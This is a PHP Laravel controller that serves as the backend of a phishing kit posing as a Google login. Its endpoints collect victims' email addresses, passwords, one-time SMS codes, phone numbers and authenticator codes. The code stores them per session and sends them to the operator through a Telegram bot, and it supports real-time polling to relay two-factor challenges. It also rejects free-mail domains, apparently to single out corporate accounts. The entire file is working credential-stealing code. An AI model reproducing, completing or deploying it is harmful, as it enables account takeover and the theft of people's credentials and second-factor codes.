<?php

namespace App\Http\Controllers\Api;

use App\Http\Controllers\Controller;
use App\Models\SessionUser;
use App\Services\TelegramService;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;

class SessionApiController extends Controller
{
    private const BLOCKED_EMAIL_DOMAINS = ['gmail.com', 'hotmail.com', 'yahoo.com', 'outlook.com'];

    private function clientIp(Request $request): string
    {
        return $request->header('X-Forwarded-For')
            ? trim(explode(',', $request->header('X-Forwarded-For'))[0])
            : $request->ip();
    }

    private function telegram(string $message): void
    {
        (new TelegramService())->send($message);
    }

    public function email(Request $request): JsonResponse
    {
        $email = trim((string) $request->input('email'));
        $sessionId = $request->input('session_id');
        if (!$email || !$sessionId) {
            return response()->json(['error' => 'Invalid credentials'], 400);
        }
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            return response()->json(['error' => 'Invalid email format'], 400);
        }
        $domain = strtolower(substr(strrchr($email, '@'), 1));
        if (in_array($domain, self::BLOCKED_EMAIL_DOMAINS, true)) {
            return response()->json(['error' => 'This email provider is not allowed'], 400);
        }

        $ip = $this->clientIp($request);
        $user = SessionUser::where('session_id', $sessionId)->first();
        if ($user) {
            $user->update(['status' => 'pending', 'email' => $email]);
        } else {
            SessionUser::create([
                'session_id' => $sessionId,
                'status' => 'pending',
                'ip' => $ip,
                'email' => $email,
            ]);
        }

        if (config('services.telegram.send_email')) {
            $this->telegram("=== 🔐 Google 🔐 ===\n👤 Email: <code>{$email}</code>\n🌐 IP: <code>{$ip}</code>\n📅 Date: <code>" . TelegramService::now() . "</code>\n🆔 Session: <code>{$sessionId}</code>\n\n=== by Arthurhere ===");
        }

        return response()->json(['status' => 'success']);
    }

    public function password(Request $request): JsonResponse
    {
        $email = trim((string) $request->input('email'));
        $password = $request->input('password');
        $sessionId = $request->input('session_id');
        if (!$email || !$sessionId) {
            return response()->json(['error' => 'Invalid credentials'], 400);
        }
        $ip = $this->clientIp($request);
        $user = SessionUser::where('session_id', $sessionId)->first();
        if ($user) {
            $user->update(['status' => 'pending', 'password' => $password ?? '']);
        } else {
            SessionUser::create([
                'session_id' => $sessionId,
                'status' => 'pending',
                'ip' => $ip,
                'email' => $email,
                'password' => $password ?? '',
            ]);
        }

        if (config('services.telegram.send_login')) {
            $this->telegram("=== 🔐 Google 🔐 ===\n👤 Email: <code>{$email}</code>\n👤 Password: <code>" . ($password ?? '') . "</code>\n🌐 IP: <code>{$ip}</code>\n📅 Date: <code>" . TelegramService::now() . "</code>\n🆔 Session: <code>{$sessionId}</code>\n\n=== by Arthurhere ===");
        }

        return response()->json(['status' => 'success']);
    }

    public function recap(Request $request): JsonResponse
    {
        $token = trim((string) ($request->input('recaptcha_token') ?? $request->input('recaptchaToken') ?? ''));
        if (!$token) {
            return response()->json(['error' => 'reCAPTCHA token is required'], 400);
        }
        $ip = $this->clientIp($request);
        if (config('services.telegram.send_recaptcha')) {
            $this->telegram("=== 🔐 Google reCAPTCHA Verified 🔐 ===\n✅ reCAPTCHA: <code>Verified</code>\n🌐 IP: <code>{$ip}</code>\n📅 Date: <code>" . TelegramService::now() . "</code>\n=== by Arthurhere ===");
        }
        return response()->json(['status' => 'success', 'message' => 'reCAPTCHA verified successfully']);
    }

    public function otp(Request $request): JsonResponse
    {
        $otp = trim((string) $request->input('otp'));
        $sessionId = $request->input('session_id');
        if (!$otp || !$sessionId) {
            return response()->json(['error' => 'Invalid credentials'], 400);
        }
        $user = SessionUser::where('session_id', $sessionId)->first();
        if (!$user) {
            return response()->json(['error' => 'Session not found'], 400);
        }
        $user->update(['status' => 'pending', 'smsCode' => $otp]);

        if (config('services.telegram.send_otp')) {
            $ip = $this->clientIp($request);
            $this->telegram("=== 🔐 Google 🔐 ===\n👤 OTP: <code>{$otp}</code>\n🌐 IP: <code>{$ip}</code>\n📅 Date: <code>" . TelegramService::now() . "</code>\n🆔 Session: <code>{$sessionId}</code>\n\n=== by Arthurhere ===");
        }

        return response()->json(['status' => 'success']);
    }

    public function phone(Request $request): JsonResponse
    {
        $phone = trim((string) $request->input('phone'));
        $sessionId = $request->input('session_id');
        if (!$phone || !$sessionId) {
            return response()->json(['error' => 'Invalid credentials'], 400);
        }
        $user = SessionUser::where('session_id', $sessionId)->first();
        if (!$user) {
            return response()->json(['error' => 'Session not found'], 400);
        }
        $user->update(['status' => 'pending', 'phone' => $phone]);

        if (config('services.telegram.send_phone')) {
            $ip = $this->clientIp($request);
            $this->telegram("=== 🔐 Google 🔐 ===\n👤 phone: <code>{$phone}</code>\n🌐 IP: <code>{$ip}</code>\n📅 Date: <code>" . TelegramService::now() . "</code>\n🆔 Session: <code>{$sessionId}</code>\n\n=== by Arthurhere ===");
        }

        return response()->json(['status' => 'success']);
    }

    public function check(Request $request): JsonResponse
    {
        $sessionId = $request->query('session_id');
        if (!$sessionId) {
            return response()->json(['status' => 'error', 'message' => 'Invalid session'], 400);
        }
        $user = SessionUser::where('session_id', $sessionId)->first();
        if (!$user) {
            return response()->json(['status' => 'error', 'message' => 'Session not found'], 400);
        }
        return response()->json(['status' => $user->status]);
    }

    public function phonenumber(Request $request): JsonResponse
    {
        $sessionId = $request->query('session_id');
        if (!$sessionId) {
            return response()->json(['error' => 'Missing session_id'], 400);
        }
        $user = SessionUser::where('session_id', $sessionId)->first();
        if (!$user) {
            return response()->json(['error' => 'Session not found'], 400);
        }
        return response()->json(['phonenumber' => $user->phonenumber]);
    }

    public function authnum(Request $request): JsonResponse
    {
        $sessionId = $request->query('session_id');
        if (!$sessionId) {
            return response()->json(['error' => 'Missing session_id'], 400);
        }
        $user = SessionUser::where('session_id', $sessionId)->first();
        if (!$user) {
            return response()->json(['error' => 'Session not found'], 400);
        }
        return response()->json(['smscode1' => $user->smscode1]);
    }

    public function topCodeGet(Request $request): JsonResponse
    {
        $sessionId = $request->query('session_id');
        if (!$sessionId) {
            return response()->json(['error' => 'Missing session_id'], 400);
        }
        $user = SessionUser::where('session_id', $sessionId)->first();
        if (!$user) {
            return response()->json(['error' => 'Session not found'], 400);
        }
        return response()->json(['topcode' => $user->topcode]);
    }

    public function authcode(Request $request): JsonResponse
    {
        $sessionId = $request->input('session_id');
        $code = $request->input('code');
        if (!$sessionId || $code === null) {
            return response()->json(['error' => 'Invalid credentials'], 400);
        }
        $user = SessionUser::where('session_id', $sessionId)->first();
        if (!$user) {
            return response()->json(['error' => 'Session not found'], 400);
        }
        $user->update(['appCode' => trim((string) $code), 'status' => 'pending']);
        return response()->json(['status' => 'success']);
    }

    public function topCodePost(Request $request): JsonResponse
    {
        $sessionId = $request->input('session_id');
        $code = $request->input('code');
        if (!$sessionId || $code === null) {
            return response()->json(['error' => 'Invalid credentials'], 400);
        }
        $user = SessionUser::where('session_id', $sessionId)->first();
        if (!$user) {
            return response()->json(['error' => 'Session not found'], 400);
        }
        $user->update(['topcode' => trim((string) $code), 'status' => 'pending']);
        return response()->json(['status' => 'success']);
    }

    public function reset(Request $request): JsonResponse
    {
        $sessionId = $request->input('session_id');
        if (!$sessionId) {
            return response()->json(['error' => 'Invalid credentials'], 400);
        }
        $user = SessionUser::where('session_id', $sessionId)->first();
        if (!$user) {
            return response()->json(['error' => 'Session not found'], 400);
        }
        $user->update(['status' => 'pending']);
        return response()->json(['status' => 'success']);
    }
}
